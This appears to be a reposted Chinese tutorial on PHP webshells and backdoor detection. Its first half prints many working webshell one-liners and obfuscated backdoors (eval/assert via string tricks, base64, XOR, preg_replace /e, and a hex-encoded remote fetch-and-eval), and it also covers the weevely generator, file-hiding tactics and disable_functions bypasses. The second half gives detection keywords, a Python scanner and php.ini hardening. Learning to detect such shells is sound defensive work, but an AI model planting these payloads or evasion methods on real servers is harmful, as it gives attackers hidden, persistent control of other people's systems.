基於PHP的應用程式面臨著各種各樣的攻擊:
XSS:對PHP的Web應用而言,跨站腳本是一個易受攻擊的點。攻擊者可以利用它來竊取用戶資訊。你可以設定Apache,或是寫更安全的PHP程式碼(驗證所有使用者輸入)來防範XSS攻擊
SQL注入:這是PHP應用中,資料庫層的易受攻擊點。防範方式同上。常用的方法是,使用mysql_real_escape_string()對參數進行轉義,而後進行SQL查詢。
檔案上傳#:它可以讓訪客在伺服器上放置(即上傳)檔案。這會造成例如,刪除伺服器檔案、資料庫,取得使用者資訊等一系列問題。你可以使用PHP來禁止檔案上傳,或寫更安全的程式碼(如檢驗使用者輸入,只允許上傳png、gif這些圖片格式)
包含本機與遠端文件:攻擊者可以使遠端伺服器開啟文件,運行任何PHP程式碼,然後上傳或刪除文件,安裝後門。可以透過取消遠端檔案執行的設定來防範
eval/assert#:這個函數可以讓一段字串如同PHP程式碼一樣執行。它通常被攻擊者用於在伺服器上隱藏程式碼和工具。透過配置PHP,取消eval等函數呼叫來實現
Sea-surt Attack(Cross-site request forgery,CSRF。跨站請求偽造):這種攻擊會使終端用戶在當前帳號下執行非指定行為。這會危害終端用戶的資料與操作安全。如果目標終端使用者的帳號用於管理員權限,整個網頁應用程式都會收到威脅。
這裡介紹上述加粗的幾種攻擊的方法
隨著業務量的增大,越來越多的駭客來攻擊掃描,網站安全性日益重要,一不留神就被駭客控制了伺服器,最常見的方式就是透過POST請求來上傳木馬文件,從而達到可以執行任意命令,如果被控制就大事不妙了
所以還是要正視伺服器的安全
最流行的一種後門叫做一句話木馬,其形式如下所示:
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST["cmd"]); system($cmd); echo "
"; die; } ?>
這種容易被安全軟體偵測出來。為了增強隱蔽性,出現了各種一句話木馬的變形,透過各種函數來偽裝,這裡不得不吐槽PHP弱型別對於安全來說是致命的
<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?> //说明:请求参数 ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==")) 最终执行命令<?php assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))?>
<?php ($code = $_POST['code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add'); ?> //说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
<?php $filename=$_GET['code'];include ($filename); ?> //由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。
<?php if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s? %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null); ?>
<?php session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
nbsp;HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>
<?php assert($_POST[sb]);?>
<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['iixosmse']);
<?php $reg="c"."o"."p"."y"; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
<?php @$_++; // $_ = 1 $=("#"^"|"); // $ = _ $.=("."^"~"); // _P $.=("/"^"`"); // _PO $.=("|"^"/"); // _POS $.=("{"^"/"); // _POST ${$}[!$_](${$}[$_]); // $_POST[0]($_POST[1]); ?>
或
<?php $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30="; $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"; $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe"); $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk"; $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe"); $jgfi = $ftdf("l","","lclrlelaltel_functlilon"); $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm(); ?>
可以使用weevely工具來生成,程式碼偽裝避開各種主流的殺毒軟體
PHP後門生成工具weevely
weevely是一款針對PHP的webshell的自由軟體,可用於模擬一個類似telnet的連線shell,weevely通常用於web程式的漏洞利用,隱藏後門或使用類似telnet的方式來取代web 頁面式的管理,weevely產生的伺服器端php程式碼是經過了base64編碼的,所以可以騙過主流的防毒軟體和IDS,上傳伺服器端程式碼後通常可以透過weevely直接運作。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。
更常用的混淆视听的方法:(这种是服务器层面的混淆)
修改文件时间
改名融入上传后所在文件夹,让人无法直观看出文件异常
文件大小的伪装处理(至少看起大小像个正常脚本)
选好藏身路径并尽量少的访问
畸形目录%20
一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?
<?php $func = new ReflectionFunction("system"); echo $func->invokeArgs(array("$_GET[c]")); ?>
php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.
<?php $cb= 'system'; ob_start($cb); echo $_GET[c]; ob_end_flush(); ?>
php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等
直观寻找方式也有很多
通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)
通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )
通过access.log访问日志分析
下面是360 zhujiweishi ,在linux服务器上非常简单好用
通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)
系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
通过简单的python脚本
#!/usr/bin/env python # encoding: utf-8 import os,sys import re import hashlib import time rulelist = [ '(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))', '((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))', '(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})', '(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))', '((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))', '(\$(\w+)\s*\(\s.chr\(\d+\)\))', '(\$(\w+)\s*\$\{(.*)\})', '(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))', '(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))', '(\$\_\=(.*)\$\_)', '(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))', '(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))', '(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))', '((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))', '(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))', '(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))', '((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))', '(eval\s*\(\s*\(\s*\$\$(\w+))', '((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))', '(preg\_replace\s*\((.*)\(base64\_decode\(\$)' ] def scan(path): print(' 可疑文件 ') print('*'*30) for root,dirs,files in os.walk(path): for filespath in files: if os.path.getsize(os.path.join(root,filespath))<1024000: file= open(os.path.join(root,filespath)) filestr = file.read() file.close() for rule in rulelist: result = re.compile(rule).findall(filestr) if result: print '文件:'+os.path.join(root,filespath ) print '恶意代码:'+str(result[0][0:200]) print ('最后修改时间:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getmtime(os.path.join(root,filespath))))) print '\n\n' break def md5sum(md5_file): m = hashlib.md5() fp = open(md5_file) m.update(fp.read()) return m.hexdigest() fp.close() if md5sum('/etc/issue') == '3e3c7c4194b12af573ab11c16990c477': if md5sum('/usr/sbin/sshd') == 'abf7a90c36705ef679298a44af80b10b': pass else: print('*'*40) print "\033[31m sshd被修改,疑似留有后门\033[m" print('*'*40) time.sleep(5) if md5sum('/etc/issue') == '6c9222ee501323045d85545853ebea55': if md5sum('/usr/sbin/sshd') == '4bbf2b12d6b7f234fa01b23dc9822838': pass else: print('*'*40) print "\033[31m sshd被修改,疑似留有后门\033[m" print('*'*40) time.sleep(5) if name=='main': if len(sys.argv)!=2: print '参数错误' print "\t按恶意代码查找:"+sys.argv[0]+'目录名' if os.path.lexists(sys.argv[1]) == False: print "目录不存在" exit() print ('\n\n开始查找:'+sys.argv[1]) if len(sys.argv) ==2: scan(sys.argv[1]) else: exit()
disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir
设置“safe_mode”为“on”
禁止“open_basedir” 可以禁止指定目录之外的文件操作
expose_php设为off 这样php不会在http文件头中泄露信息
设置“allow_url_fopen”为“off” 可禁止远程文件功能
log_errors”设为“on” 错误日志开启
所有用户提交的信息 post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)
经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码
文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题
如用开源代码,有补丁出来的话,尽快打上补丁
如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。
配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限
nginx或者apache配置的时候,不能访问的目录一定要配置为deny
以上是詳解PHP安全之webshell和後門檢測範例的詳細內容。更多資訊請關注PHP中文網其他相關文章!